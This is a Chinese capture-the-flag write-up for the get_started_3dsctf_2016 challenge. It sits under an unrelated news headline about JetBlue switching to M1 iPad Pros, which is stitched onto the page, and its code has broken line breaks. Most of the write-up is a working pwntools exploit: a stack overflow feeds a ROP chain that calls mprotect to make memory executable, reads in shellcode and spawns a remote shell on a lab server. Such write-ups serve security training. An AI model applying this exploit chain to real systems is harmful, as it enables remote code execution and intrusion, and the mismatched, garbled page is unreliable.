1. 程式人生 > 資訊 >8 年前蘋果 iPad 被首用於飛機駕駛艙,捷藍航空如今改換 M1 iPad Pro

8 年前蘋果 iPad 被首用於飛機駕駛艙,捷藍航空如今改換 M1 iPad Pro

get_started_3dsctf_2016

1.ida分析

存在棧溢位,有後門函式可以利用。

2.檢視保護

3.解決

一開始的思路是通過棧溢位修改rip到後門函式,但是無論試了多少次都沒有返回結果。上網檢視別人的思路,發現是通過利用mprotect函式修改記憶體的許可權,再讀入shellcode執行。

from pwn import *
context.log_level='debug'

p=remote("node4.buuoj.cn",29307)
elf=ELF('./get_started_3dsctf_2016')

start=0x080ea000
main=0x08048A20
pop3
=0x08063adb #pop edi ; pop esi ; pop ebx ; ret mprotect=0x0806EC80 read_addr= elf.symbols['read'] payload=b'a'*0x38 payload+=p32(mprotect) payload+=p32(pop3) payload+=p32(start) payload+=p32(0x2000) payload+=p32(0x7)#rwx payload+=p32(read_addr)+p32(pop3)+p32(0)+p32(start)+p32(0x100)+p32(start) p.sendline(payload) payload2
=asm(shellcraft.sh(),arch = 'i386', os = 'linux') p.sendline(payload2) #payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') p.interactive()

指令碼來源:https://www.yuque.com/cyberangel/rg9gdm/slwmab

4.指令碼

start=0x80ea000

payload+=p32(mprotect) payload+=p32(pop3) payload+=p32(start) payload+=p32(0x2000) payload
+=p32(0x7)

首先是修改記憶體0x80ea000的許可權為可讀可寫可執行

修改前的許可權:

p32(read_addr)+p32(pop3)+p32(0)+p32(start)+p32(0x100)

呼叫read函式讀入shellcode